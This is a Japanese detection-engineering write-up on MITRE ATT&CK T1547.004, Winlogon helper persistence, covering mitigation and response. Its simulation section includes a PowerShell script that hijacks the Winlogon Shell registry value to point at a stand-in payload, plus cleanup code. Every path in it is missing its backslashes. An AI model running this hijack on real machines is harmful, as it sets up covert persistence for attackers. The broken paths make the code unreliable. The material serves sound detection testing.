MITRE ATT&CK における T1547.004: Winlogon ヘルパーの説明

概要

この記事では、T1547.004として追跡されるWinlogon Helper DLLの持続手法を説明し、敵対者がWinlogonのレジストリキーを改ざんしてユーザーのログオン中に悪意のあるコードを読み込む方法を示しています。これは、ToyBrakerキャンペーン、KamiKakaBotマルウェア、およびMandela.exeとして知られるサンプルに関連する実例を引用しています。システムの起動時やユーザーのサインイン時に悪意のあるDLLや実行可能ファイルが自動的に実行されるようにトリガーするレジストリ変更に重点が置かれています。

調査

研究者たちは、攻撃者が不正なユーザーアカウントを作成し、LegalNoticeText、DefaultUserName、AutoLogonCount、ShellなどのWinlogonのレジストリ値を変更してアクセスを維持する様子を文書化しました。マルウェアのサンプルと侵入ケースでは、ログインプロセス中に悪意のある設定を注入し、PowerShellペイロードを起動するためにnet userおよびreg addのコマンドラインツールを使用することも示されています。

緩和

防御者は、Winlogonのレジストリキーへの変更を慎重に監視し制限し、アカウント作成に対して最低限の特権制御を適用し、信頼されていないまたは署名されていないDLLをブロックするためにアプリケーション制御を使用すべきです。定期的なスケジュールされたタスク、サービス、スタートアップの場所のレビューは、不正な持続変更の特定にさらに役立ちます。

対応

疑わしいWinlogonレジストリアクティビティが検出された場合、影響を受けたエンドポイントを隔離し、揮発性の証拠を取得し、変更されたレジストリ値を既知の正常な状態に復元します。法医学調査では、追加の持続メカニズムを探し、関連するマルウェアコンポーネントをホストでスキャンする必要があります。

シミュレーション実行

前提条件: テレメトリー&ベースラインの事前飛行チェックが合格していること。

理由: このセクションでは、検出ルールをトリガーするために設計された敵の手法（T1547.004）の正確な実行を詳述しています。コマンドと記述は直接、検出ロジックによって期待されるテレメトリーを生成します。

• 攻撃の説明 & コマンド:
  ローカル管理者権限を取得した攻撃者は、再起動後も持続性を維持したいと考えています。彼らは、ユーザーデスクトップが読み込まれる前に実行され、多くのエンドポイントAV製品を回避するクラシックなWinlogon「Shell」ハイジャックを選択します。手順は以下です:

  1. 悪意のあるペイロードを作成する (例: C:Tempevil.exe).
  2. 新しい値を追加する HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonShell ペイロードを指す。
  3. 変更が反映されたことを確認し、ログオフ/オンを実行して実行を達成する。

• リグレッションテストスクリプト:

  #-------------------------------------------------
  # リグレッションテスト – Winlogonシェルハイジャック (T1547.004)
  #-------------------------------------------------
  param(
      [string]$PayloadPath = "C:Tempevil.exe",
      [string]$BackupPath = "$env:Tempwinlogon_shell_backup.txt"
  )
  
  # 1. ダミーペイロードをデプロイする (デモ用に単純なcalc.exeコピー)
  if (-not (Test-Path $PayloadPath)) {
      Copy-Item "$env:SystemRootSystem32calc.exe" $PayloadPath -Force
  }
  
  # 2. 現在のシェル値をバックアップする (ある場合)
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $currentShell = (Get-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue).Shell
  Set-Content -Path $BackupPath -Value $currentShell -Encoding UTF8
  
  # 3. 悪意のあるシェル値を設定する
  Set-ItemProperty -Path $regPath -Name Shell -Value $PayloadPath -Force
  
  Write-Host "[+] 悪意のあるWinlogonシェルが$PayloadPathに設定されました"
  Write-Host "[+] 元の値が$BackupPathに保存されました"

• クリーンアップコマンド:

  #---------------------------------
  # クリーンアップ – Winlogonシェルの復元
  #---------------------------------
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $backupFile = "$env:Tempwinlogon_shell_backup.txt"
  
  if (Test-Path $backupFile) {
      $original = Get-Content -Path $backupFile -Raw
      if ([string]::IsNullOrWhiteSpace($original)) {
          # 元の値が空だった – プロパティを削除する
          Remove-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue
      } else {
          Set-ItemProperty -Path $regPath -Name Shell -Value $original -Force
      }
      Remove-Item $backupFile -Force
      Write-Host "[+] Winlogonシェルが元の状態に復元されました."
  } else {
      Write-Warning "バックアップファイルが見つかりません – 手動による検査が必要です."